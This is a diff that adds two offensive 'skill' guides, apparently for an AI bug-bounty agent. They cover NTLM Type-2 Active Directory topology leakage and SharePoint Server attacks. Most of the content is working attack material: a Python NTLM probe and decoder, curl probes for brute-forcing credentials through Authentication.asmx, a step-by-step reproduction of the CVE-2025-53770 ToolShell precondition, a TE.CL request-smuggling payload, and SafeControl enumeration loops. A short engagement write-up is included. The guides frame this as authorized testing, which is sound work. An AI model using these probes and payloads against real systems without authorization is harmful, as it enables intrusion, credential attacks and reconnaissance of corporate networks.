+3. **Use a keep-alive raw socket, not Python requests / curl one-shot.** Most HTTP libraries close the connection between the Type-1 send and Type-2 reception. Use one of:
+ - Burp Repeater with `Connection: keep-alive` set explicitly
+ - Burp `mcp__burp__send_http1_request` (handles keep-alive natively)
+ - Python raw `socket` + `ssl.wrap_socket` (see Payload section)
+
+4. **Parse the Type-2 challenge from the `WWW-Authenticate: NTLM <base64>` response header.** Base64-decode the value. The structure is NTLMSSP per MS-NLMP:
+ - Bytes 0-7: literal `NTLMSSP\0`
+ - Bytes 8-11: MessageType = `\x02\x00\x00\x00`
+ - Bytes 12-19: TargetName SecurityBuffer (len, alloc, offset)
+ - Bytes 20-23: NegotiateFlags
+ - Bytes 24-31: Server Challenge (8 bytes — useful for offline cracking)
+ - Bytes 40-47: TargetInfo SecurityBuffer (len, alloc, offset)
+ - TargetInfo body: `AV_PAIRS` array of (AvId u16, AvLen u16, Value)
+
+5. **Decode the AV_PAIRS.** The AvIds you care about:
+ - `1` = NetBIOS Computer Name
+ - `2` = NetBIOS Domain Name
+ - `3` = DNS Computer Name (FQDN of the responding server)
+ - `4` = DNS Domain Name (the AD domain)
+ - `5` = DNS Tree Name (the AD forest root)
+ - `7` = Timestamp (FILETIME, useful for NTLMv2 hash relay / cracking)
+ - `9` = Target Name (in newer NTLMSSP)
+
+6. **Map findings to severity tier:**
+ - Internet-exposed + default `WIN-XXXXXXXXXXX` hostname + corporate-AD-tree disclosure → **Medium**
+ - Internet-exposed + named-server hostname (`SPWEB01.corp.example`) + corporate-AD-tree → **Low-Medium**
+ - Intranet-only + any disclosure → **Informational**
+ - Combine with `hunt-auth-bypass` Legacy-Protocol Matrix findings on the same host → **upgrade the auth-bypass finding's severity** since the attacker has UPN/SAM format ready
+
+7. **Check the timestamp.** If `AV[7]` returns a current FILETIME within ~5s of `Date:` header, the system clock is synced — useful intel for Kerberos golden-ticket forging (out of bug-bounty scope but red-team relevant).
+
+8. **Cross-reference with subdomain enum.** The DNS Tree name often reveals the *parent forest* — e.g. `customer.parent-corp.example` reveals the customer is a sub-domain INSIDE corporate-parent AD, not a separate tenant. This is a privacy / topology-disclosure escalation that programs sometimes accept as Medium.
+
+---
+
+## Payload & Detection Patterns
+
+**Generic NTLM Type-1 anonymous probe (curl + raw socket fallback):**
+```bash
+# Most one-shot curl runs DON'T return Type-2 because the connection closes.
+# Use this as a quick probe to confirm NTLM is offered:
+curl -sk -I -H "Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" \
+ "https://target.example/_api/web/CurrentUser" 2>&1 | grep -i "WWW-Authenticate"
+```
+
+**Burp `send_http1_request` (recommended for full Type-2 capture):**
+```
+GET /_api/web/CurrentUser HTTP/1.1
+Host: target.example
+Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
+Connection: keep-alive
+User-Agent: Mozilla/5.0
+
+```
+
+**Python raw socket + AV_PAIR decoder:**
+```python
+import socket, ssl, base64, struct, re
+from datetime import datetime, timezone
+
+HOST = "target.example"
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+s = ctx.wrap_socket(socket.create_connection((HOST, 443)), server_hostname=HOST)
+s.sendall(
+ f"GET /_api/web/CurrentUser HTTP/1.1\r\n"
+ f"Host: {HOST}\r\n"
+ "Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==\r\n"
+ "User-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n".encode()
+)
+data = b""
+while True:
+ chunk = s.recv(8192)
+ if not chunk: break
+ data += chunk
+ if b"\r\n\r\n" in data: break
+
+m = re.search(rb"WWW-Authenticate:\s*NTLM\s+([A-Za-z0-9+/=]{20,})", data, re.I)
+if m:
+ b = base64.b64decode(m.group(1).decode("ascii"))
+ assert b[:8] == b"NTLMSSP\x00"
+ tn_len, _, tn_off = struct.unpack_from('<HHI', b, 12)
+ ti_len, _, ti_off = struct.unpack_from('<HHI', b, 40)
+ print(f"TargetName: {b[tn_off:tn_off+tn_len].decode('utf-16-le', errors='ignore')!r}")
+ av_types = {1:'NetBIOS Computer Name', 2:'NetBIOS Domain Name',
+ 3:'DNS Computer Name', 4:'DNS Domain Name',
+ 5:'DNS Tree Name', 7:'Timestamp', 9:'Target Name'}
+ i = 0
+ ti = b[ti_off:ti_off+ti_len]
+ while i < len(ti):
+ av_id, av_len = struct.unpack_from('<HH', ti, i)
+ if av_id == 0: break
+ val = ti[i+4:i+4+av_len]
+ if av_id == 7:
+ ts = struct.unpack('<Q', val[:8])[0]
+ secs = (ts - 116444736000000000) / 10000000
+ vs = datetime.fromtimestamp(secs, tz=timezone.utc).isoformat()
+ else:
+ vs = val.decode('utf-16-le', errors='ignore')
+ print(f" AV[{av_id}] {av_types.get(av_id, '?'):28s}: {vs!r}")
+ i += 4 + av_len
+```
+
+**Burp Collaborator NOT needed** for this finding class — the data leak is in the synchronous response, not via OOB.
+
+---
+
+## Common Root Causes
+
+1. **Dual-auth IIS bindings on the public zone.** Administrators leave NTLM enabled on the public-facing IIS site even when Forms auth is the intended entry point. Internal users get SSO; external attackers get the AD topology leak.
+
+2. **Default IIS Application Pool identity left as `ApplicationPoolIdentity`.** Combined with default hostname, signals provisioning never went past first-boot.
+
+3. **Server never renamed from Windows-installer-generated hostname.** Microsoft's default `WIN-XXXXXXXXXXX` 11-character pattern is the immediate tell. Sometimes also `WORKGROUP\WIN-...` in older boxes.
+
+4. **Sub-domain joined to corporate forest without zone-isolation.** <CustomerName> / <ParentCorp> case: a Swiss VW/<ParentCorp> importer's SP test environment is a child domain inside corporate-parent global AD, disclosed via NTLM DNS Tree Name. The customer probably intends `customer.parent-corp.example` to be operationally separate but the NTLM Type-2 reveals the forest membership to anyone who probes.
+
+5. **IIS Extended Protection NOT enabled.** When `<system.webServer><security><authentication><windowsAuthentication extendedProtection>` is `None` (the default), the NTLM challenge is sent to any anonymous client. When set to `Required`, NTLM is restricted to authenticated callers — and the AV-pair leak is mitigated.
+
+6. **No `WindowsAuthentication` removed from `applicationHost.config` for internet-exposed sites.** SharePoint Central Admin sometimes leaves this enabled even when SP zone configuration only enables Forms.
+
+---
+
+## Bypass Techniques
+
+This skill describes a disclosure leak, not an authentication bypass. The "bypass" question is: *how do defenders block this AV-pair leak while still allowing legitimate NTLM auth?*
+
+| Defense | Effectiveness |
+|---|---|
+| **Disable NTLM on the public IIS binding entirely** (Forms-only) | Best — eliminates the surface |
+| **IIS Extended Protection = Required** | Restricts NTLM challenge to authenticated callers; AV-pair leak mitigated |
+| **Reverse-proxy strip `WWW-Authenticate` from anonymous responses** | Sometimes works but breaks legitimate clients |
+| **Rate-limit the Type-1 → Type-2 endpoint** | Doesn't prevent disclosure, only slows enumeration |
+| **Rename the Windows host from `WIN-XXXXXXXXXXX`** | Removes the "lazy provisioning" tell; doesn't stop the leak |
+| **Move the SP/Exchange farm to a child AD with no cross-trust to corporate** | Mitigates the *forest disclosure*; doesn't stop the leak |
+
+For the attacker: there's no "bypass" needed — the leak is the finding.
+
+---
+
+## Gate 0 Validation
+
+Before writing the report, confirm:
+
+1. **What can the attacker do RIGHT NOW with this disclosure?**
+ - Internet-exposed + default hostname + corporate forest disclosed → **Medium**: attacker has UPN format for `hunt-auth-bypass` matrix probes, plus knows server has likely-default service accounts.
+ - Intranet-only or only NetBIOS name → **Informational**.
+
+2. **Does the program accept information-disclosure findings without a chained impact?**
+ - Many programs (Microsoft, large enterprise VDPs) DO accept this when the leaked info includes internal AD topology.
+ - Many programs (Shopify, GitHub) reject info disclosure without a chained impact.
+ - Read the program scope before submitting; if borderline, chain with a Tier-A finding from `hunt-auth-bypass`.
+
+3. **Can you reproduce in <5 minutes from a fresh shell?**
+ - The Python snippet above is the canonical reproduction. Include it verbatim in the report.
+
+---
+
+## Real Impact Examples
+
+### Scenario A — a regional enterprise SharePoint inside parent corporate AD (an authorized engagement, May 2026)
+
+Target: `https://target-portal.example/` — an enterprise dealer portal (test mirror) operated by a system-integrator tenant (official <ParentCorp> importer for Switzerland) as system integrator.
+
+Sending the anonymous Type-1 message to `/_api/web/CurrentUser` returned a Type-2 challenge whose AV_PAIRS decoded to:
+
+```
+NetBIOS Domain Name: <CustomerName>
+NetBIOS Computer Name: WIN-XXXXXXXXXXX
+DNS Domain Name: customer.parent-corp.example
+DNS Computer Name: WIN-XXXXXXXXXXX.customer.parent-corp.example
+DNS Tree Name: customer.parent-corp.example
+Timestamp: 2026-05-13T15:55:37.922Z
+```
+
+Three escalation paths:
+1. **Default Windows-installer hostname (`WIN-XXXXXXXXXXX`)** — server was never renamed after OS install; strong signal of lazy provisioning. Likely default service-account passwords on the SQL backend, default WSUS config, etc.
+2. **Sub-domain inside corporate-parent AD (`customer.parent-corp.example`)** — <CustomerName> is a child domain inside <ParentCorp>'s global Active Directory. A compromise of this test farm has potential cross-trust to corporate-parent.
+3. **UPN format known** — combined with `hunt-auth-bypass`'s discovery of an anonymous brute-force endpoint on `/_vti_bin/Authentication.asmx`, the attacker has both the credential format (`[email protected]` or `<CustomerName>\firstname.lastname`) and the unlimited submission endpoint.
+
+Reported severity: **Medium**, with a note that the chain with the Authentication.asmx anonymous brute-force makes the combined attack Critical.
+
+### Scenario B — Exchange edge with NTLM-protected EWS
+
+Target: `https://mail.example.com/EWS/Exchange.asmx`. Type-1 probe returns Type-2 with DNS Tree Name `corp.example.com` and DNS Computer Name `MAIL01.corp.example.com`. Confirms the Exchange edge is domain-joined to corporate AD (rather than running in a DMZ-isolated AD). For an attacker with the matching `hunt-mfa-bypass` / `hunt-auth-bypass` chain, the leaked UPN format and server-name format accelerate credential spraying by removing the recon step. Reported severity: Low-Medium depending on program.
+
+### Scenario C — Intranet-only intentional leak (not a finding)
+
+Target: `https://intranet.corp.example` (clearly internal, behind VPN). Type-1 returns full AV-pair set. Not reportable — this is intended NTLM behavior on intranet, and the disclosure is to authenticated VPN users who already see the same data via `nltest /dsgetdc:corp.example.com`. Recognize and drop.
diff --git a/skills/hunt-sharepoint/SKILL.md b/skills/hunt-sharepoint/SKILL.md
new file mode 100644
index 0000000..c93f514
--- /dev/null
+++ b/skills/hunt-sharepoint/SKILL.md
@@ -0,0 +1,427 @@
+---
+name: hunt-sharepoint
+description: Hunt Microsoft SharePoint Server (2013/2016/2019/Subscription Edition) on-prem farms — anonymous endpoint enumeration, version disclosure, legacy SOAP login bypass (Authentication.asmx), ToolShell precondition chain (CVE-2025-53770), SafeControl reflection enumeration via Picker.aspx, NTLM Type-2 AD topology disclosure, custom-branding module discovery, EoL farm permanent-CVE-window exploitation, FormDigest anonymous issuance, file-extension blocklist NOT-an-oracle pattern, custom-zone Forms auth bridging on-prem AD. Use when target has SharePoint headers (SPRequestGuid, X-MS-InvokeApp, X-SharePointHealthScore, MicrosoftSharePointTeamServices) or paths (/_layouts/15/, /_vti_bin/, /_api/, /_catalogs/).
+sources: github, engagement_2026_05
+report_count: 1
+---
+
+## Crown Jewel Targets
+
+SharePoint Server (on-prem) is one of the richest enterprise attack surfaces in 2025-2026 bug bounty / red-team work. Three forces converge:
+
+1. **End-of-life unpatched code paths.** SharePoint Server 2013 reached extended-support EoL on 2023-04-11 (final build `15.0.5545.1000` / KB5002381). Every SharePoint CVE published after that date is **permanently unpatched** on SP2013 farms. SP2016 reaches EoL 2026-07-14; SP2019 reaches EoL 2026-07-14 (next 2 months as of May 2026); only SP Subscription Edition is currently in active support.
+2. **CVE-2025-53770 / 53771 "ToolShell"** — July 2025 emergency-out-of-band patch chain for SPE / SP2019 / SP2016. The vulnerable code path (anonymous `/_layouts/15/ToolPane.aspx?DisplayMode=Edit` + anonymous `__REQUESTDIGEST` + unencrypted ViewState) is present in **SP2013 too** and will never receive a fix.
+3. **Custom branded login pages forget legacy SOAP login.** `/_vti_bin/Authentication.asmx` with the `Login` SOAP op is the SharePoint equivalent of WordPress XMLRPC bypass — accepts native Forms credentials anonymously with no rate limit on most farms even when the branded UI has lockout.
+
+**Highest-value SharePoint targets:**
+
+- **SP2013 farms still on the public internet** — every CVE since April 2023 is unpatched. Critical-severity findings.
+- **Dealer / partner / supplier portals** built on SharePoint by enterprise integrators (German VW group, a a regional enterprise system integrator, etc.) — high-impact business data, often nested inside corporate AD trees.
+- **SharePoint farms with anonymous Forms-auth zones** — Authentication.asmx becomes anonymously brute-forceable.
+- **SharePoint inside corporate AD parent forests** — NTLM Type-2 leak (see `hunt-ntlm-info`) discloses the parent forest membership.
+- **Telerik-integrated SharePoint installations** — additional deserialization sinks on top of SP's own.
+
+**Asset types that pay most:** internet-reachable SP Server (any version) > SP Online with custom solutions hooks > intranet SP only after VPN compromise.
+
+---
+
+## Attack Surface Signals
+
+**Response-header fingerprints (any one is sufficient — usually multiple co-occur):**
+```
+SPRequestGuid: <GUID> (always — anonymous and authenticated)
+X-MS-InvokeApp: 1; RequireReadOnly (SharePoint web request)
+X-SharePointHealthScore: 0 (SharePoint specific)
+SPIisLatency: <ms> (SharePoint internal timing)
+SPRequestDuration: <ms> (SharePoint request duration)
+MicrosoftSharePointTeamServices: 15.0.0.0 (often stripped by ELB — but if present, exact version)
+X-Forms_Based_Auth_Required: <login URL> (Forms-auth zone indicator)
+X-Forms_Based_Auth_Return_Url: <return URL> (Forms-auth zone indicator)
+X-MSDAVEXT_Error: 917656; Access denied... (WebDAV extension active)
+DAV: 1, 2 (WebDAV verbs supported)
+Set-Cookie: ASP.NET_SessionId=... (always — IIS session)
+Set-Cookie: FedAuth=...; rtFa=... (claims-mode auth)
+Set-Cookie: WSS_FullScreenMode=... (SharePoint UI mode)
+```
+
+**URL / path fingerprints:**
+```
+/_layouts/15/ (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
+/_layouts/14/ (legacy SP2010 — almost EoL since 2020-10-13)
+/_layouts/16/ (some SP2019 / SPE)
+/_vti_bin/ (FrontPage-RPC + SOAP services)
+/_vti_pvt/ (FrontPage-RPC config — usually 403)
+/_vti_inf.html (almost always anonymous; contains FPVersion banner)
+/_api/ (modern REST API)
+/_api/$metadata (OData metadata — often anonymous + large)
+/_api/contextinfo (FormDigest issuer — POST only)
+/_catalogs/ (site catalogs: masterpage, wp, lt, theme, solutions)
+/_catalogs/users/simple.aspx (user list — usually 403)
+/_layouts/15/start.aspx (anonymous landing — leaks version)
+/_layouts/15/ToolPane.aspx (web part editor — ToolShell sink)
+/_layouts/15/Picker.aspx (people/list picker — SafeControl recon)
+/_layouts/15/download.aspx (SP-internal file resolver — NOT outbound SSRF)
+/_layouts/15/Authenticate.aspx (forms-auth redirector)
+/_layouts/15/SignOut.aspx (logout)
+/_layouts/15/error.aspx (error page — anonymous)
+/_layouts/15/AccessDenied.aspx (denied page — anonymous)
+/_layouts/15/scriptresx.ashx?culture=en-us&name=core (resource bundle leak)
+/_layouts/15/<Customer>/ (custom-branding modules — see Methodology step 8)
+/_vti_bin/Authentication.asmx (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
+/_vti_bin/SharedAccess.asmx (often anon-readable)
+/_vti_bin/lists.asmx (auth-required on hardened farms)
+/_vti_bin/sites.asmx (auth-required on hardened farms)
+/_vti_bin/sts/ (Security Token Service — usually 302 to error)
+/sites/<name>/ (site collections)
+/personal/<user>/ (MySite / OneDrive-for-Business)
+```
+
+**Body signals (in HTML responses):**
+```
+<meta name="GENERATOR" content="Microsoft SharePoint" />
+RegisterSod("...","/_layouts/15/..."); (Script-on-demand registration)
+var g_initUrl=''; (start.aspx MDS state)
+__REQUESTDIGEST (CSRF token — leaks even to anon if endpoint mis-configured)
+__VIEWSTATEENCRYPTED="" (Sign-only ViewState — see hunt-aspnet)
+"LibraryVersion":"15.0.X.XXXX" (in _api/contextinfo response)
+Version:15, webPermMasks:{High:0,Low: (in start.aspx body)
+HelpWindowKey('WSSEndUser_troubleshooting (anonymous error.aspx body)
+```
+
+**Tech-stack signals:**
+- `Server: Microsoft-IIS/10.0` + paths starting with `/_layouts/15/` → SharePoint 2013/2016/2019/SE
+- AWS ELB / ALB in front of SharePoint → cross-node ViewState MAC issues possible (see hunt-aspnet)
+- `WWW-Authenticate: NTLM` on `/_api/web/CurrentUser` → dual-auth (Forms + NTLM); use `hunt-ntlm-info` for AD-topology disclosure
+- `*.test.<customer>.tld` → test/staging mirror of production SharePoint; data often mirrored from prod
+
+---
+
+## Step-by-Step Hunting Methodology
+
+1. **Fingerprint the SharePoint version.** Build number leaks anonymously through several paths. Map the result to the CVE matrix immediately.
+
+ ```bash
+ # Method 1: _vti_inf.html (always anonymous, always present)
+ curl -sk "https://target.example/_vti_inf.html"
+ # → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE)
+
+ # Method 2: _api/contextinfo POST (anonymous on most farms)
+ curl -sk -X POST "https://target.example/_api/contextinfo" \
+ -H "Accept: application/json;odata=verbose" \
+ | jq -r '.d.GetContextWebInformation.LibraryVersion'
+ # → "15.0.5545.1000" (full build number)
+
+ # Method 3: /_layouts/15/start.aspx body
+ curl -sk "https://target.example/_layouts/15/start.aspx" \
+ | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"
+ ```
+
+ **Map to CVE matrix:**
+
+ | Build | Edition | Status | Notable unpatched-after-EoL CVEs |
+ |---|---|---|---|
+ | `15.0.5545.1000` | SP2013 final CU | **EoL 2023-04-11** | CVE-2023-29357, CVE-2023-33160/33157/36941, CVE-2024-21318/30043/38023/38024/38094, CVE-2025-53770/53771, CVE-2025-29794 |
+ | `16.0.10416.x` | SP2016 | EoL 2026-07-14 | depends on patch level |
+ | `16.0.10417.x+` | SP2019 / SE | active | check Microsoft's monthly Patch Tuesday |
+
+2. **Anonymous-endpoint matrix probe.** Walk every endpoint in the table below in one pass. Anything anonymous becomes part of the attack chain.
+
+ ```
+ /_vti_inf.html → version disclosure
+ /_layouts/15/start.aspx → version disclosure + session minting
+ /_layouts/15/blank.htm → benign anchor for smuggling probes
+ /_layouts/15/error.aspx → request-validator behaviour probe
+ /_layouts/15/Authenticate.aspx?Source= → redirect-chain behaviour
+ /_layouts/15/AccessDenied.aspx?Source= → redirect-chain behaviour
+ /_layouts/15/SignOut.aspx → logout — anonymous OK
+ /_layouts/15/closeConnection.aspx → anonymous OK
+ /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res → 35KB localised strings
+ /_layouts/15/scriptresx.ashx?culture=en-us&name=core → 277KB localised strings
+ /_layouts/15/ToolPane.aspx?DisplayMode=Edit → ToolShell precondition (THIS IS THE BIG ONE)
+ /_layouts/15/Picker.aspx → SafeControl recon (see step 6)
+ /_layouts/15/<CustomerName>/pages/login/customlogin.aspx → custom Forms login (replace `<CustomerName>` with target's customer name)
+ /_vti_bin/Authentication.asmx → legacy SOAP login — anonymous brute-force (CRITICAL)
+ /_vti_bin/Authentication.asmx?WSDL → WSDL — confirms Login + Mode ops
+ /_vti_bin/SharedAccess.asmx → often anonymous
+ /_vti_bin/spsdisco.aspx → SP service discovery
+ /_api/contextinfo (POST) → anonymous FormDigest mint (HIGH)
+ /_api/$metadata → 381KB API surface enumeration
+ /_api/Search → search service descriptor
+ /_api/web/CurrentUser → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)
+ ```
+
+3. **Legacy SOAP login bypass via Authentication.asmx.** Cross-reference `hunt-auth-bypass` Legacy-Protocol Matrix. The standard probe:
+
+ ```bash
+ # First: confirm Mode = Forms (else this attack vector is N/A)
+ curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
+ -H "Content-Type: text/xml; charset=utf-8" \
+ -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
+ -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
+ # → <ModeResult>Forms</ModeResult> ← target is exploitable
+ # → <ModeResult>Windows</ModeResult> ← target uses Windows auth only; this vector N/A
+
+ # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)
+ # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords
+ # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface
+ ```
+
+ **Severity:** Critical when anonymous + no rate limit + no lockout. Submit as bug-bounty even before demonstrating successful auth — the *unbounded credential validation* is the bug, not "I cracked X credential."
+
+4. **ToolShell precondition chain probe** (CVE-2025-53770 class). Three sub-requests:
+
+ ```bash
+ # Sub-step a: anonymous GET on ToolPane.aspx
+ curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
+ # Body should contain: __REQUESTDIGEST="0x...,..." AND __VIEWSTATEENCRYPTED=""
+ # If both: precondition stack is anonymous-reachable.
+
+ # Sub-step b: anonymous POST to /_api/contextinfo
+ curl -sk -X POST "https://target.example/_api/contextinfo" \
+ -H "Accept: application/json;odata=verbose" \
+ | jq -r '.d.GetContextWebInformation.FormDigestValue'
+ # Should return a valid digest with 1800s validity.
+
+ # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
+ curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
+ -H "X-RequestDigest: <digest from step b>" \
+ --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
+ # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.
+ ```
+
+ **Severity:** Critical on EoL SP2013 (no patch will ever ship). High on SP2016/2019/SE if `__VIEWSTATEENCRYPTED` is non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).
+
+ **IMPORTANT:** Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. Public exploits (`ysoserial.net`, etc.) require `<machineKey>` recovery as a separate primitive.
+
+5. **NTLM Type-2 AD topology disclosure.** Cross-reference `hunt-ntlm-info` for full methodology. Quick check:
+
+ ```bash
+ # Use Burp send_http1_request with keep-alive, or Python raw socket
+ # Anonymous Type-1 with NetBIOS-info request flag:
+ # Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
+ # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name
+ ```
+
+ **Severity:** Medium when chained with internet exposure + default `WIN-XXXXXXXXXXX` hostname; Informational otherwise.
+
+6. **SafeControl enumeration via Picker.aspx.** Picker.aspx differentiates two error states by class existence:
+ - Type EXISTS but not whitelisted: `"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."`
+ - Type DOES NOT exist: `"Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."`
+
+ Feed a wordlist of `Microsoft.SharePoint.*.WebControls.*` and `Microsoft.SharePoint.WebPartPages.*` types to enumerate reachable classes. The list itself is recon for CVE-2019-0604-family chains.
+
+ ```bash
+ for cls in \
+ "Microsoft.SharePoint.WebControls.PeopleEditor" \
+ "Microsoft.SharePoint.WebControls.ItemPicker" \
+ "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
+ ; do
+ curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
+ | grep -oE "<title>[^<]+</title>"
+ done
+ ```
+
+7. **`download.aspx` is NOT outbound SSRF — recognize and don't waste time.** SP's `/_layouts/15/download.aspx?SourceUrl=` is an **SP-internal path resolver**, not a generic URL fetcher. Behaviours:
+ - External URL (`http://evil.example.com/x`) → 500 with `"The Web application at <URL> could not be found"` — server tried to resolve as an SP web app, didn't fetch.
+ - Same-origin file URL → 500 with `"<nativehr>0x81070211</nativehr>...Cannot open file '<path>'"` — server tried SPFile.OpenBinary, file not found.
+ - Files matching the extension blocklist (`.ashx`, `.asmx`, `.svc`, `.config`) → 500 with `"file blocked from this Web site by the server administrators"` regardless of whether the file exists.
+ - `file://`, UNC paths, `gopher://`, etc. → 500 with `"Value does not fall within the expected range"` — URL-scheme validator rejects.
+
+ **The error-message URL echo is NOT confirmation of SSRF.** Confirm via Burp Collaborator OOB before claiming. (Cross-reference `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.) Verified negative in May-2026 authorized engagement: 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero callbacks.
+
+ The extension blocklist also looks like a "file-existence oracle" (existing vs not-found returns different responses) but it's actually just the SP file-extension policy. Don't infer file presence from the blocklist response.
+
+8. **Custom-branding module enumeration.** Customer-customised SP installations almost always have a `/_layouts/15/<CustomerName>/` directory tree. Find the name from the login URL (e.g. `/_layouts/15/<CustomerName>/pages/login/customlogin.aspx` → customer name is `<CustomerName>`). Then probe:
+
+ ```bash
+ for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
+ curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
+ "https://target.example/_layouts/15/CustomerName/$sub/"
+ # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid
+ done
+ ```
+
+ JS bundles often contain hardcoded endpoint URLs, hidden routes, internal API paths. Pull each with proper `Referer` header (some are referer-gated).
+
+9. **Search service probe.** `/_api/Search` returns a small JSON descriptor anonymously. `/_api/search/query?querytext='X'` returns 500 with stack trace if the Search Service Application is not running — useful infra disclosure but not directly exploitable.
+
+10. **Authenticated post-login surfaces** (if you have valid credentials):
+ - `/_api/web/Lists` — enumerate lists
+ - `/_api/web/SiteUsers` — enumerate users
+ - `/_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files` — file enumeration
+ - `/_layouts/15/people.aspx` — user listing
+ - Custom <CustomerName>-style modules — check for IDOR, business logic
+ - Workflow Services (`/_api/SP.WorkflowServices.*`)
+
+---
+
+## Payload & Detection Patterns
+
+**Authentication.asmx Login (the canonical brute-force endpoint):**
+```xml
+POST /_vti_bin/Authentication.asmx HTTP/1.1
+Host: target.example
+Content-Type: text/xml; charset=utf-8
+SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
+Content-Length: 376
+
+<?xml version="1.0" encoding="utf-8"?>
+<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+ <soap:Body>
+ <Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
+ <username>USERNAME</username>
+ <password>PASSWORD</password>
+ </Login>
+ </soap:Body>
+</soap:Envelope>
+```
+Response codes:
+- `<ErrorCode>NoError</ErrorCode>` → auth success; `<CookieName>FedAuth</CookieName>` and `<TimeoutSeconds>...</TimeoutSeconds>` follow
+- `<ErrorCode>PasswordNotMatch</ErrorCode>` → auth fail (uniform for non-existent users too — no enum leak via error string)
+- 500 + `<faultstring>Value cannot be null. Parameter name: userName</faultstring>` → empty username
+
+**ToolShell precondition reproduction:**
+```bash
+# Step 1: anon GET ToolPane.aspx
+TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
+echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
+# If value="" → precondition
+
+# Step 2: anon FormDigest
+DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo" \
+ -H "Accept: application/json;odata=verbose" \
+ | jq -r '.d.GetContextWebInformation.FormDigestValue')
+echo "Digest: ${DIGEST:0:40}..."
+
+# Step 3: anon POST ToolPane with digest
+curl -sk -X POST -H "X-RequestDigest: $DIGEST" \
+ --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
+ "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
+ -w "\ncode=%{http_code} size=%{size_download}\n"
+```
+
+**HTTP TE.CL smuggling on AWS ELB + SP IIS back-end** (consistent on SP farms behind AWS ELB):
+```
+POST /_layouts/15/blank.htm HTTP/1.1
+Host: target.example
+Content-Length: 4
+Transfer-Encoding: chunked
+
+5c
+GPOST /404 HTTP/1.1
+Host: x
+Content-Length: 15
+
+x=1
+0
+
+```
+Expected back-end hang: ~12 s vs ~0.16 s baseline (consistent across 5 trials). Obfuscation variants (`Transfer-Encoding : chunked`, `transfer-encoding: chunked`, trailing-space, mixed-case) produce a similar ~6 s hang.
+
+**Picker.aspx SafeControl recon:**
+```bash
+curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
+ | grep -oE "<title>[^<]+</title>"
+# "Only PickerDialog types..." = exists, not whitelisted
+# "Could not load type..." = does not exist
+```
+
+---
+
+## Common Root Causes
+
+1. **`/_vti_bin/Authentication.asmx` left enabled on the public-zone IIS binding.** SharePoint admins enable Forms auth on a custom login UI and don't realise the legacy SOAP Login endpoint is independently reachable.
+
+2. **`viewStateEncryption="Auto"` on layouts pages.** SharePoint's default ViewState mode signs-only for pages without sensitive form fields. Pages like ToolPane.aspx have `__VIEWSTATEENCRYPTED=""` — exploitable if machineKey leaks.
+
+3. **`/_api/contextinfo` POST accessible anonymously.** SharePoint Online and SPE 2024-07+ require auth on contextinfo. Earlier versions and most SP2013 farms allow anonymous POST → FormDigest token returned with 1800s validity. This is the second ToolShell precondition.
+
+4. **NTLM enabled on public-zone IIS binding.** Default dual-auth (Forms + NTLM) leaves NTLM Negotiate available to anonymous internet users. Type-2 challenge leaks AD topology.
+
